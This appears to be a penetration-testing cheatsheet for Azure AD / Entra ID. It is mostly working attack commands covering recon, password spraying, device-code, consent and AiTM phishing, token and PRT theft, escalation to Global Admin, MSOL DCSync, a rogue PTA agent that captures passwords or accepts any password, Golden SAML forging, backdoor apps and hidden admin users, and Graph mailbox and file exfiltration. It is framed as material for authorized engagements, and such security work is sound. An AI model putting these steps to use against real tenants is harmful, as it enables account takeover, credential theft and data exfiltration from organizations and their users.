// Home // Blog // Cheatsheets // Contact

Azure AD / Entra ID
Penetration Testing

From zero-knowledge recon to Global Admin — every phase of an authorized Azure AD engagement explained with concepts, diagrams, and full commands. Built to be used during real engagements.

Attack Chain
01Recon
02Initial Access
03Enumerate
04Token Ops
05PrivEsc
06Hybrid
07Persist
08Exfil
// 00 — Understand Before You Attack

What is Azure AD / Entra ID?

Azure Active Directory (now rebranded as Microsoft Entra ID) is Microsoft's cloud-based identity and access management service. It is the authentication backbone for every Microsoft cloud product — Microsoft 365, Azure, Teams, SharePoint, Intune, and any third-party SaaS app that uses "Sign in with Microsoft." Almost every enterprise runs it, which makes it the single most impactful identity attack surface in corporate environments.

Unlike traditional on-premises Active Directory which manages machines and users inside a corporate network, Azure AD manages cloud identities and delegates access to cloud resources through tokens. Understanding its components is essential before you can attack it effectively.

AZURE AD TENANT — target.onmicrosoft.com  ·  The isolated identity boundary for one organization
👤
Users
Human identities. Can have Azure AD roles, group memberships, licenses.
👥
Groups
Collections of users/SPs. Used to assign roles and permissions at scale.
📱
Devices
Registered or joined machines. AAD-joined devices get PRT tokens.
📦
App Registrations
The definition of an app. Holds redirect URIs, API permissions, secrets.
🤖
Service Principals
The runtime identity of an app inside a tenant. Can have role assignments and API access.
🔑
Directory Roles
Azure AD roles (Global Admin, App Admin…). Completely separate from Azure RBAC.
Authentication Protocols
OAuth 2.0
OpenID Connect
SAML 2.0
WS-Federation
Protected Resources
Microsoft 365
Exchange · Teams · SharePoint · OneDrive · Intune
Azure Subscription (RBAC)
VMs · Key Vaults · Storage · SQL · Functions · AKS
Third-Party SaaS
Salesforce · GitHub · Slack · Jira and thousands more
Critical distinction: Azure AD roles (Global Admin, Application Admin, etc.) control identity plane permissions — who can manage users, apps, and roles. Azure RBAC roles (Owner, Contributor, etc.) control the resource plane — who can manage VMs, storage, and subscriptions. They are two separate systems. Compromising one does not automatically give you the other, but paths exist between them.

The Token Model — How Auth Actually Works

Every Azure AD attack ultimately targets tokens. When a user authenticates, Azure AD issues a hierarchy of tokens. Understanding this hierarchy tells you exactly what to steal and why each token is valuable.

Master Key
PRT — Primary Refresh Token
Lifetime: ~14 days · Stored: Windows CloudAP (LSASS memory) · Scope: Device SSO
Only exists on Azure AD Joined & Hybrid Joined Windows devices. Stealing it = full SSO as victim. Bypasses MFA because MFA was satisfied at device join time.
Long-lived
Refresh Token
Lifetime: 24h–90 days · Stored: ~/.azure/, MSAL cache · Scope: App-scoped
Exchanged for new access tokens. FOCI apps share a common refresh token — steal one, use any app in the family. Found in Az CLI cache on disk.
Short-lived
Access Token (JWT)
Lifetime: 60–90 min · Format: Signed JWT · Scope: Resource-specific
Presented as Bearer token in every API call. Stateless — cannot be revoked mid-flight unless CAE is enabled. Decode at jwt.ms to see claims & permissions.
// 01 — Setup

Tools & Environment Setup

Get your attack environment ready before the engagement. Each tool below serves a distinct purpose. You don't need every one for every engagement — learn what each does so you can reach for the right one.

PowerShell Modules

# AADInternals — deepest Azure AD attack toolkit (recon, token ops, sync abuse, PTA spy)
Install-Module AADInternals -Scope CurrentUser -Force

# Az PowerShell — official Azure resource management
Install-Module Az -Scope CurrentUser -Force

# AzureAD — legacy but still needed for some enumeration
Install-Module AzureAD -Scope CurrentUser -Force

# Hawk — Microsoft 365 threat hunting / attack logging
Install-Module Hawk -Scope CurrentUser -Force

Python & CLI Tools

# Azure CLI (primary management interface)
winget install Microsoft.AzureCLI          # Windows
curl -sL https://aka.ms/InstallAzureCLIDeb | sudo bash  # Debian/Ubuntu

# ROADtools — recon, token exchange, PRT ops, device enrollment
pip install roadtools roadtx

# o365creeper — unauthenticated user enumeration
git clone https://github.com/LMGsec/o365creeper
pip install requests

# GraphSpy — interactive Graph API browser (post-auth)
git clone https://github.com/RedByte1337/GraphSpy
pip install -r GraphSpy/requirements.txt

# ScoutSuite — cloud misconfiguration audit
pip install scoutsuite

Binaries

# AzureHound — BloodHound collector for Azure AD
# Download: https://github.com/BloodHoundAD/AzureHound/releases
chmod +x azurehound && ./azurehound --help

# Evilginx2 — AiTM reverse proxy phishing
# Download: https://github.com/kgretzky/evilginx2/releases
chmod +x evilginx2

# MSOLSpray (PowerShell)
git clone https://github.com/dafthack/MSOLSpray
// 02 — Reconnaissance

Reconnaissance (No Credentials Required)

What are we doing and why?

Before touching any authentication endpoint, we map the target's Azure AD environment using only public information. The goal is to answer three questions: What tenant does this company use?Which email addresses are valid accounts?What Azure services are exposed? All of this is achievable without credentials and without generating any authentication events in the target's sign-in logs.

Tenant Enumeration — Who Are We Targeting?

Every Azure AD organization is a tenant with a unique ID and one or more verified domain names. Before anything else, we identify the tenant to understand its size, federation type, and authentication setup. A Federated tenant uses ADFS or Pass-Through Authentication — meaning passwords are validated on-prem. A Managed tenant uses cloud-only password hashes. This matters for which attacks you can use.

# Full passive recon — tenant ID, domains, MDI, federation, Intune state
Import-Module AADInternals
Invoke-AADIntReconAsOutsider -DomainName "target.com" | Format-Table
# Returns: TenantID, TenantBrand, AuthUrl, MDI, HasCloudMX, CloudMXRecord...

# Get tenant ID manually (no tools needed)
$oidc = Invoke-RestMethod "https://login.microsoftonline.com/target.com/.well-known/openid-configuration"
$tenantId = ($oidc.issuer -replace "https://login.microsoftonline.com/","").TrimEnd("/")
Write-Host "Tenant ID: $tenantId"

# Is this tenant Managed (cloud PW) or Federated (ADFS/PTA)?
$realm = Invoke-RestMethod "https://login.microsoftonline.com/common/userrealm/user@target.com?api-version=2.1"
$realm | Select NameSpaceType, CloudInstanceName, FederationBrandName, AuthURL
# NameSpaceType = "Managed" → PHS  |  "Federated" → ADFS or PTA

# All verified domains in the tenant
Get-AADIntTenantDomains -Domain "target.com"

User Enumeration — Who Can We Spray?

Microsoft exposes an unauthenticated endpoint (GetCredentialType) that confirms whether an email address is a valid Azure AD account. This generates zero authentication events in sign-in logs — it's completely invisible to defenders. Use it to build a valid target list before any password spray.

# Single user check — returns Exists: True/False
Invoke-AADIntUserEnumerationAsOutsider -UserName "admin@target.com"

# Bulk — validate a whole list silently
Get-Content .\usernames.txt | ForEach-Object {
    $r = Invoke-AADIntUserEnumerationAsOutsider -UserName $_
    if ($r.Exists) { Write-Host "[VALID] $_" -ForegroundColor Green }
}

# Raw HTTP — no tools required
$body = '{"username":"user@target.com"}'
$r = Invoke-RestMethod "https://login.microsoftonline.com/common/GetCredentialType" -Method POST -Body $body -ContentType "application/json"
# IfExistsResult: 0=exists, 1=doesn't exist, 5=exists (different tenant), 6=no password set

# Python — o365creeper (faster for large lists)
python o365creeper.py -f emails.txt -o valid_emails.txt

Azure Service Discovery

# Enumerate Azure subdomains — finds exposed storage, web apps, SQL, etc.
Import-Module .\MicroBurst\MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "targetcompany" -Verbose
Invoke-EnumerateAzureBlobs -Base "targetcompany" -OutputFile blobs.txt

# DNS patterns to check manually
$base = "targetcompany"
@(".blob.core.windows.net",".azurewebsites.net",".vault.azure.net",
  ".database.windows.net",".azurefd.net",".servicebus.windows.net") | ForEach-Object {
    Resolve-DnsName "$base$_" -ErrorAction SilentlyContinue | Select-Object Name, IPAddress
}
OPSEC: GetCredentialType and AADInternals recon generate zero authentication log events. DNS queries are never logged by Azure. Stay in this phase as long as possible before any login attempt — failed logins do appear in sign-in logs.
// 03 — Initial Access

Initial Access

Password Spraying

What is password spraying?

Instead of trying many passwords against one account (which triggers lockout), we try one common password against many accounts. Azure AD Smart Lockout locks an account after 10 failures in 10 minutes by default. By waiting 30–45 minutes between rounds, we stay under the threshold indefinitely. The goal is to find at least one valid credential pair — even a low-privileged account gives us a foothold to enumerate the tenant.

# MSOLSpray — sprays via legacy MSOL endpoint
Import-Module .\MSOLSpray\MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\valid_users.txt -Password "Winter2026!" -Verbose

# roadtx spray — modern auth endpoint (bypasses some legacy-auth blocks)
roadtx spray -U users.txt -p "Welcome2026!" --sleep 1800   # 30-min delay between rounds

# Manual spray — modern auth, watch suberror codes
$tenantId = ""
foreach ($user in Get-Content .\users.txt) {
    $body = @{ client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"; grant_type="password"; scope="https://graph.microsoft.com/.default"; username=$user; password="Winter2026!" }
    try {
        $t = Invoke-RestMethod "https://login.microsoftonline.com/$tenantId/oauth2/v2.0/token" -Method POST -Body $body
        Write-Host "[HIT] $user" -ForegroundColor Green
    } catch {
        $e = ($_.ErrorDetails.Message | ConvertFrom-Json).suberror
        if ($e -eq "consent_required") { Write-Host "[MFA/VALID] $user" -ForegroundColor Yellow }
        # consent_required = valid creds but MFA required → still valuable info
    }
    Start-Sleep 5
}

Device Code Phishing

What is device code phishing?

The OAuth2 device authorization flow was designed for devices without a browser (like smart TVs). The device displays a short code and the user goes to microsoft.com/devicelogin to authenticate on another device. Attackers abuse this by: generating a device code themselves, sending that code to the victim under a pretext ("please verify your Microsoft account"), and polling Microsoft for a token while the victim — unknowingly — authenticates with their own credentials and MFA. The attacker receives a full access + refresh token. MFA is completely bypassed because the victim completed it themselves.

Device Code Phishing — Sequence
Attacker
Microsoft
Victim
POST /devicecode {client_id, scope} { user_code: "ABCD-1234", device_code: "…" } "Please verify at microsoft.com/devicelogin — code: ABCD-1234" Enters code + completes MFA Poll: POST /token {device_code} every 5s { access_token, refresh_token } ✓ Full access as victim. MFA bypassed.
# Step 1: Generate device code (run as attacker)
$body = @{ client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"; scope="https://graph.microsoft.com/.default offline_access" }
$dc = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/devicecode" -Method POST -Body $body
Write-Host "Send to victim: $($dc.message)"    # includes the user_code

# Step 2: Poll for token while victim authenticates
$poll = @{ client_id="d3590ed6-52b3-4102-aeff-aad2292ab01c"; grant_type="urn:ietf:params:oauth:grant-type:device_code"; device_code=$dc.device_code }
do {
    Start-Sleep 5
    try { $token = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $poll; break }
    catch {}
} while ($true)
$token | ConvertTo-Json | Out-File token.json
Write-Host "Got token for: $(([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String(($token.access_token.Split('.')[1] + '=='))) | ConvertFrom-Json).unique_name)"

# Automated with roadtx
roadtx device -c d3590ed6-52b3-4102-aeff-aad2292ab01c -r https://graph.microsoft.com

App Consent Phishing

What is consent phishing?

You register a legitimate-looking app in your own Azure tenant, request high permissions (Mail.Read, Files.ReadWrite.All), and trick the victim into granting consent by clicking a crafted OAuth URL. Once they consent, your app receives a permanent refresh token scoped to their account — even if they reset their password, the consent grant survives.

# 1. Register app in YOUR Azure tenant → add permissions (no admin consent yet)
# 2. Craft consent URL:
https://login.microsoftonline.com/common/oauth2/v2.0/authorize
  ?client_id=YOUR_APP_ID
  &response_type=code
  &redirect_uri=https://your-callback.com/recv
  &scope=https://graph.microsoft.com/Mail.ReadWrite
        https://graph.microsoft.com/Files.ReadWrite.All
        offline_access openid

# 3. Victim clicks → grants consent → you receive auth_code at redirect_uri
# 4. Exchange code for tokens:
$body = @{ client_id="YOUR_APP_ID"; client_secret="YOUR_SECRET"; code="AUTH_CODE"; grant_type="authorization_code"; redirect_uri="https://your-callback.com/recv" }
$token = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $body
# refresh_token survives password resets — persistent access

AiTM Phishing (Evilginx2)

What is AiTM phishing?

Adversary-in-the-Middle sits a reverse proxy between the victim and the real Microsoft login page. The victim sees a perfect replica of the Microsoft login — because it is the real page, just proxied through your server. The victim completes their password AND their MFA. Your proxy intercepts the resulting session cookie (x-ms-RefreshTokenCredential). You replay that cookie and you are fully authenticated as the victim — MFA satisfied, Conditional Access policies bypassed.

./evilginx2 -p ./phishlets/ -developer
config domain login-secure-corp.com
config ipv4 YOUR_SERVER_IP
phishlets hostname o365 login.login-secure-corp.com
phishlets enable o365
lures create o365 && lures get-url 0
# Share lure URL in phishing email
# After victim authenticates:
sessions        # View captured sessions
sessions 1      # Get tokens + cookies
// 04 — Enumeration with Credentials

Enumeration with Credentials / Token

What are we looking for?

With a valid token, we enumerate the tenant to map the attack surface: who has privileged roles, which apps have dangerous permissions, what Azure resources exist, and what RBAC roles are assigned. This enumeration drives every subsequent decision — it tells you the shortest path to Global Admin or the most valuable data to exfiltrate.

Azure CLI — Fast Enumeration

az login   # or: az login -u user@target.com -p 'Password123!'
az account show && az account list --output table
az account set --subscription SUBSCRIPTION_ID

# Users, groups, apps
az ad user list --query "[].{Name:displayName,UPN:userPrincipalName,Enabled:accountEnabled,OnPrem:onPremisesSyncEnabled}" --output table
az ad group list --output table
az ad group member list --group "Global Administrators"
az ad app list --output table
az ad sp list --query "[].{Name:displayName,AppId:appId}" --output table

# RBAC — most important for PrivEsc
az role assignment list --all --query "[].{Role:roleDefinitionName,Principal:principalName,Scope:scope}" --output table

# Resources
az resource list --query "[].{Name:name,Type:type,RG:resourceGroup}" --output table
az keyvault list && az vm list --output table

Graph API — Deep Enumeration

# Get Graph token
$token = az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv
$h = @{ Authorization="Bearer $token" }

# All directory roles and who is in them (CRITICAL — run this first)
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/directoryRoles?`$expand=members" -Headers $h).value | Where-Object { $_.members.Count -gt 0 } | ForEach-Object {
    Write-Host "`n[ROLE] $($_.displayName)" -ForegroundColor Cyan
    $_.members | ForEach-Object { Write-Host "  └ $($_.userPrincipalName ?? $_.displayName) [$($_.{'@odata.type'})]" }
}

# Service principals with dangerous app role assignments
$dangerPerms = @("9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8","1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9","741f803b-c850-494e-b5df-cde7c675a1ca")
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals?`$top=999" -Headers $h).value | ForEach-Object {
    $sp = $_
    (Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals/$($sp.id)/appRoleAssignments" -Headers $h).value | Where-Object { $_.appRoleId -in $dangerPerms } | ForEach-Object {
        Write-Host "[HIGH VALUE SP] $($sp.displayName)" -ForegroundColor Red
    }
}

# Conditional Access policies — understand what we need to bypass
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/identity/conditionalAccess/policies" -Headers $h).value | Select displayName,state | Format-Table

AzureHound — BloodHound for Azure

# Collect all Azure AD + RBAC data
./azurehound -u user@target.com -p "Password123!" list --tenant target.onmicrosoft.com -o azhound.json

# With service principal
./azurehound -t TENANT_ID --app-id APP_ID --app-secret SECRET list -o out.json

# Upload to BloodHound → use pre-built Azure attack queries
# Key query: Find shortest path to Global Administrator role
// 05 — Token Attacks

Token Attacks

Stealing Tokens from Disk

Why are tokens on disk valuable?

Az CLI and Az PowerShell cache access tokens AND refresh tokens to disk in JSON files. A refresh token can be 90 days old but still valid. On a compromised Windows endpoint, finding the Az CLI cache means you inherit the authenticated identity of whoever ran az login — with no password needed and without triggering any authentication event.

# Az CLI token cache location (Windows)
$cache = Get-Content "$env:USERPROFILE\.azure\msal_token_cache.json" | ConvertFrom-Json

# Extract refresh tokens
$cache.RefreshToken.PSObject.Properties.Value | ForEach-Object {
    Write-Host "Account: $($_.home_account_id)"
    Write-Host "Token:   $($_.secret.Substring(0,40))..."
}

# Linux/macOS
cat ~/.azure/msal_token_cache.json | python3 -c "
import sys,json
d=json.load(sys.stdin)
for v in d.get('RefreshToken',{}).values():
    print(v.get('home_account_id','?'), v['secret'][:60])
"

FOCI — Family of Client IDs

What is FOCI and why does it matter?

Microsoft allows certain first-party apps to share a common refresh token pool called the Family of Client IDs (FOCI). A refresh token issued to the Office desktop app can be exchanged for an Azure CLI token or a Teams token — no re-authentication, no MFA, no additional consent. If you steal any FOCI refresh token, you can impersonate the victim across the entire family of Microsoft apps.

FOCI — One stolen refresh token → access to all
Stolen Refresh Token
from Office / Teams / Azure CLI
d3590ed6…
Microsoft Office
04b07795…
Azure CLI
1950a258…
Azure PowerShell
1fec8e78…
Microsoft Teams
# Exchange a stolen Office refresh token for an Azure CLI management token
$body = @{
    client_id     = "04b07795-8ddb-461a-bbee-02f9e1bf7b46"   # Azure CLI (FOCI member)
    grant_type    = "refresh_token"
    refresh_token = $stolenRefreshToken
    scope         = "https://management.azure.com/.default"
}
$mgmtToken = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $body

# Get Graph token from same stolen refresh token (different scope)
$body.scope = "https://graph.microsoft.com/.default"
$graphToken = Invoke-RestMethod "https://login.microsoftonline.com/common/oauth2/v2.0/token" -Method POST -Body $body

# roadtx makes FOCI exchange one command
roadtx gettokens --refresh-token STOLEN_RT -c 04b07795-8ddb-461a-bbee-02f9e1bf7b46 -r https://management.azure.com/

PRT (Primary Refresh Token) Abuse

What is the PRT and why is it the crown jewel?

The PRT is a device-bound, long-lived (14-day) SSO token that lives in protected memory on Azure AD Joined and Hybrid Joined Windows machines. When a user opens any Microsoft app — Outlook, Teams, SharePoint — Windows silently presents the PRT to get an app-specific access token without prompting for password or MFA. MFA was already satisfied when the device was enrolled. If you steal the PRT and its session key from memory, you can impersonate the user across every Microsoft service with no further authentication, from any machine.

# PRTs live in LSASS memory (CloudAP SSP) → requires SYSTEM or local admin

# Method 1: Mimikatz cloudap (requires SYSTEM)
# privilege::debug
# sekurlsa::cloudap        → dumps PRT + encrypted session key

# Method 2: ROADtoken (userland, local admin)
.\ROADtoken.exe /bprt     # Dumps Bootstrap PRT from CloudAP

# Method 3: Steal SSO cookie from browser (no tools)
# In Chrome/Edge → DevTools → Application → Cookies → login.microsoftonline.com
# Copy cookie: x-ms-RefreshTokenCredential → this IS the PRT cookie

# Use PRT to get Graph token (AADInternals)
$prtToken = New-AADIntUserPRTToken -RefreshToken $prt -SessionKey $sessionKey -GetNonce
$accessToken = Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken

# Replay PRT via browser cookie (no tools — works against CAE too)
# Add cookie name=x-ms-RefreshTokenCredential to login.microsoftonline.com in DevTools
# Navigate to any Microsoft 365 app → instantly authenticated as victim
// 06 — Privilege Escalation

Privilege Escalation

Two separate privilege planes — understand both

Azure has two distinct access control systems that are often confused. Azure AD roles (Global Admin, Application Admin, etc.) govern identity — who can manage users, reset passwords, control apps. Azure RBAC roles (Owner, Contributor) govern resources — who can control VMs, storage accounts, and Key Vaults. Compromising one does not automatically give you the other, but there are well-known bridges between them (automation accounts, managed identities, app secrets).

Common Privilege Escalation Paths
Low-Privileged User / Service Principal
├─
Owner of App Registration
→ Add secret → Authenticate as SP → If SP has RoleManagement.ReadWrite → Global Admin
├─
Application Administrator Role
→ Add credentials to any SP → impersonate high-privilege app identity
├─
Contributor on Automation Account
→ Read runbooks for creds → run code as RunAs identity → RunAs often has Owner on subscription
├─
User Access Administrator (RBAC)
→ Grant yourself Owner on subscription → control all resources
├─
Inside Azure VM / Function with Managed Identity
→ IMDS token at 169.254.169.254 → identity may have Contributor/Owner on resources
└─
Privileged Role Administrator
→ Direct role assignment → Global Admin

Azure AD Role Abuse

# Find all members of high-value roles
Import-Module AADInternals
$highRoles = @("Global Administrator","Privileged Role Administrator","Application Administrator",
    "Cloud Application Administrator","Authentication Administrator","Hybrid Identity Administrator")
$highRoles | ForEach-Object {
    $members = Get-AADIntAzureADRoleMembers -RoleName $_
    if ($members) { Write-Host "[ROLE] $_ ($($members.Count) members)" -ForegroundColor Cyan; $members | Select UserPrincipalName }
}

# Assign Global Admin to your account (requires Privileged Role Admin)
$ref = @{ "@odata.id"="https://graph.microsoft.com/v1.0/directoryObjects/YOUR_USER_OBJECT_ID" } | ConvertTo-Json
Invoke-RestMethod "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Method POST -Headers $h -Body $ref -ContentType "application/json"

Service Principal Permission Abuse

# A service principal with RoleManagement.ReadWrite.Directory can make itself Global Admin
# First: find SPs with this permission
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals?`$top=999" -Headers $h).value | ForEach-Object {
    $sp = $_
    (Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals/$($sp.id)/appRoleAssignments" -Headers $h).value | Where-Object { $_.appRoleId -eq "9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8" } | ForEach-Object {
        Write-Host "[JACKPOT] $($sp.displayName) has RoleManagement.ReadWrite.Directory" -ForegroundColor Red
    }
}

# If you control such an SP → get its token → assign yourself Global Admin
$spToken = (Invoke-RestMethod "https://login.microsoftonline.com/TENANT/oauth2/v2.0/token" -Method POST -Body @{client_id=SP_APPID;client_secret=SP_SECRET;grant_type="client_credentials";scope="https://graph.microsoft.com/.default"}).access_token
$spH = @{ Authorization="Bearer $spToken"; "Content-Type"="application/json" }
$roleBody = @{ "@odata.type"="#microsoft.graph.unifiedRoleAssignment"; roleDefinitionId="62e90394-69f5-4237-9190-012177145e10"; principalId="YOUR_USER_ID"; directoryScopeId="/" } | ConvertTo-Json
Invoke-RestMethod "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments" -Method POST -Headers $spH -Body $roleBody

Managed Identity from Inside a VM

# From inside an Azure VM, Function, or Container — no credentials needed
$imds = "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource="

# Get Azure management token
$mgmtToken = (Invoke-RestMethod "$($imds)https://management.azure.com/" -Headers @{Metadata="true"}).access_token

# Get Graph token
$graphToken = (Invoke-RestMethod "$($imds)https://graph.microsoft.com/" -Headers @{Metadata="true"}).access_token

# Check what subscriptions this identity can reach
Invoke-RestMethod "https://management.azure.com/subscriptions?api-version=2021-04-01" -Headers @{Authorization="Bearer $mgmtToken"}

# If Contributor → escalate to Owner by assigning yourself User Access Administrator
New-AzRoleAssignment -SignInName attacker@target.com -RoleDefinitionName "Owner" -Scope "/subscriptions/SUB_ID"
// 07 — Hybrid Environment Attacks

Hybrid Environment Attacks

What is a hybrid environment?

Most enterprises don't run Azure AD in isolation. They run hybrid — an on-premises Active Directory synchronized to Azure AD via Azure AD Connect. This creates powerful bidirectional attack paths: compromise an Azure AD account and pivot to on-prem domain controllers, or compromise the sync server and take over the cloud tenant. Hybrid environments are the most dangerous configuration because a single compromise can cascade across both planes.

On-Premises Active Directory
Domain Controller (DC01)
ADFS Server (if federated)
MSOL_xxxxxxxx account → DCSync rights
AZUREADSSOACC$ → Seamless SSO tickets
AAD Connect Server → plaintext sync creds
PTA Agent → intercept any password
Sync
Azure AD / Entra ID
Cloud users & groups
Azure subscriptions
Hybrid Identity Admin → control sync
Set-AADIntUserPassword → reset on-prem user PW
Stolen Global Admin → write to on-prem via sync

Azure AD Connect — MSOL Account DCSync

Why is the MSOL_ account the most dangerous on-prem account?

Azure AD Connect creates a special sync account in on-prem AD (named MSOL_xxxxxxxx or AADConnect_xxxxxxxx) that has DCSync replication rights on every domain controller. This is required so it can sync password hashes to the cloud. If an attacker compromises this account — which has a long, complex auto-generated password stored in the ADSync database — they can DCSync every NTLM hash in the domain, including the krbtgt account for Golden Ticket attacks.

# Step 1: Find the MSOL sync account
Get-ADUser -Filter { SamAccountName -like "MSOL_*" -or SamAccountName -like "AADConnect_*" } -Properties Description | Select SamAccountName, Description

# Step 2: Decrypt credentials from ADSync database (requires local admin on AAD Connect server)
Import-Module AADInternals
$creds = Get-AADIntSyncCredentials    # Returns plaintext username + password!
Write-Host "Account:  $($creds.Username)"
Write-Host "Password: $($creds.Password)"

# Step 3: DCSync with MSOL_ account (from any domain-joined machine)
# Impacket (Linux)
python3 secretsdump.py DOMAIN/MSOL_xxxxxxxx:'PlaintextPassword'@DC01.domain.local -just-dc-ntlm

# Or via Mimikatz with runas
runas /netonly /user:DOMAIN\MSOL_xxxxxxxx powershell
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

# Bonus — reset any Azure AD user's password via sync account (no on-prem change!)
$syncToken = Get-AADIntAccessTokenForAADGraph -Credentials (New-Object PSCredential($creds.Username,($creds.Password|ConvertTo-SecureString -AsPlainText -Force))) -SaveToCache
Set-AADIntUserPassword -SourceAnchor "USER_IMMUTABLE_ID" -Password "NewP@ss2026!" -AccessToken $syncToken

Pass-Through Authentication Backdoor

What is a PTA backdoor?

With Pass-Through Authentication, Azure AD doesn't store password hashes in the cloud. Instead, authentication requests are routed to an on-prem PTA Agent that validates the password against AD. AADInternals can register a rogue PTA Agent — once registered, it intercepts all authentication requests and can be configured to accept any password for any user, effectively creating a universal master password for the entire tenant.

# Register a rogue PTA Agent (requires Global Admin token)
Import-Module AADInternals
Install-AADIntPTASpy -AccessToken $globalAdminToken

# Mode 1: Log all credentials being authenticated
Start-AADIntPTASpy
Get-AADIntPTASpyLog | Format-Table TimeStamp, UserName, Password

# Mode 2: Accept ANY password for ANY user
Set-AADIntPTASpyMode -Mode AcceptAll    # Master key for entire tenant

Golden SAML (ADFS Environments)

What is Golden SAML?

Organizations using Active Directory Federation Services (ADFS) for authentication sign SAML tokens with a certificate stored on the ADFS server. If you can export this certificate (requires admin on the ADFS server), you can forge SAML tokens claiming to be any user in the organization — including Global Administrators — and they will be cryptographically valid. This is Azure AD's equivalent of a Kerberos Golden Ticket.

# Export ADFS signing certificate (admin on ADFS server)
Export-AADIntADFSSigningCertificate -Filename adfs-signing.pfx

# Forge a SAML token as Global Admin (Python — ADFSpoof)
python ADFSpoof.py -b adfs-signing.pfx "pfx_password" --server sts.target.com -l target.com -u globaladmin@target.com -r urn:federation:MicrosoftOnline

# Use the forged token to get Azure AD access (AADInternals)
Import-AADIntSAMLToken -Token "BASE64_SAML_TOKEN" -SaveToCache
// 08 — Persistence

Persistence

Why persistence matters in Azure AD

Unlike on-prem AD where you plant persistence in the file system or registry, Azure AD persistence lives in the identity layer itself — app credentials, role assignments, guest accounts, and federated identity configurations. These survive password resets, MFA enforcement changes, and Conditional Access updates. The goal is to establish a backdoor that survives the initial compromise being discovered and remediated.

Add Credentials to Existing Service Principal

# Add a secret to a high-privilege SP you control (or can compromise)
$secretBody = @{ passwordCredential=@{ displayName="Maintenance-$(Get-Date -Format 'yyyyMM')"; endDateTime=(Get-Date).AddYears(2).ToString("yyyy-MM-ddTHH:mm:ssZ") } } | ConvertTo-Json -Depth 3
$secret = Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals/SP_OBJECT_ID/addPassword" -Method POST -Headers $h -Body $secretBody -ContentType "application/json"

# Connect later with no trace back to your account
Connect-AzAccount -ServicePrincipal -Credential (New-Object PSCredential("SP_APP_ID",("$($secret.secretText)"|ConvertTo-SecureString -AsPlainText -Force))) -Tenant TENANT_ID

Backdoor App Registration (Persistent High-Privilege Access)

# Create app with RoleManagement.ReadWrite.Directory + Application.ReadWrite.All
$app = Invoke-RestMethod "https://graph.microsoft.com/v1.0/applications" -Method POST -Headers $h -ContentType "application/json" -Body (@{
    displayName="Microsoft Identity Monitoring"; signInAudience="AzureADMyOrg"
    requiredResourceAccess=@(@{ resourceAppId="00000003-0000-0000-c000-000000000000"
        resourceAccess=@(@{id="9e3f62cf-ca93-4989-b6ce-bf83c28f9fe8";type="Role"},@{id="1bfefb4e-e0b5-418b-a88f-73c46d2cc8e9";type="Role"}) })
} | ConvertTo-Json -Depth 6)

$sp     = Invoke-RestMethod "https://graph.microsoft.com/v1.0/servicePrincipals" -Method POST -Headers $h -Body (@{appId=$app.appId}|ConvertTo-Json) -ContentType "application/json"
$secret = Invoke-RestMethod "https://graph.microsoft.com/v1.0/applications/$($app.id)/addPassword" -Method POST -Headers $h -Body '{"passwordCredential":{"displayName":"main","endDateTime":"2028-01-01T00:00:00Z"}}' -ContentType "application/json"
Write-Host "AppId: $($app.appId) | Secret: $($secret.secretText)"
# Grant admin consent while you still have GA → this SP can now create Global Admins

Backdoor User + Role Assignment

# Create a hidden admin user
$u = Invoke-RestMethod "https://graph.microsoft.com/v1.0/users" -Method POST -Headers $h -ContentType "application/json" -Body (@{
    accountEnabled=$true; displayName="Azure Support"; mailNickname="azuresupport"
    userPrincipalName="azuresupport@target.onmicrosoft.com"
    passwordProfile=@{ forceChangePasswordNextSignIn=$false; password="Supp0rt@2026!" }
} | ConvertTo-Json)

# Assign Global Admin
Invoke-RestMethod "https://graph.microsoft.com/v1.0/directoryRoles/roleTemplateId=62e90394-69f5-4237-9190-012177145e10/members/`$ref" -Method POST -Headers $h -ContentType "application/json" -Body (@{"@odata.id"="https://graph.microsoft.com/v1.0/directoryObjects/$($u.id)"}|ConvertTo-Json)
// 09 — Exfiltration

Exfiltration via Microsoft Graph

Why Graph API for exfiltration?

Microsoft Graph is the unified API for all Microsoft 365 data — email, files, Teams messages, calendar, contacts. With application-level permissions (granted via consent phishing or from a compromised high-privilege SP), you can read every user's mailbox, download all SharePoint files, and read Teams conversations — all through a single authenticated HTTP endpoint that many organizations whitelist entirely in their DLP controls.

$h = @{ Authorization="Bearer $graphToken" }

# Read user emails — search for credentials
Invoke-RestMethod "https://graph.microsoft.com/v1.0/users/USER_ID/messages?`$search=`"password OR secret OR credential`"&`$select=subject,from,body" -Headers $h

# Download OneDrive files matching a keyword
(Invoke-RestMethod "https://graph.microsoft.com/v1.0/users/USER_ID/drive/root/search(q='password')" -Headers $h).value | ForEach-Object {
    Invoke-WebRequest -Uri $_.'@microsoft.graph.downloadUrl' -OutFile ".\loot\$($_.name)"
}

# Read Teams messages
$chats = (Invoke-RestMethod "https://graph.microsoft.com/v1.0/users/USER_ID/chats" -Headers $h).value
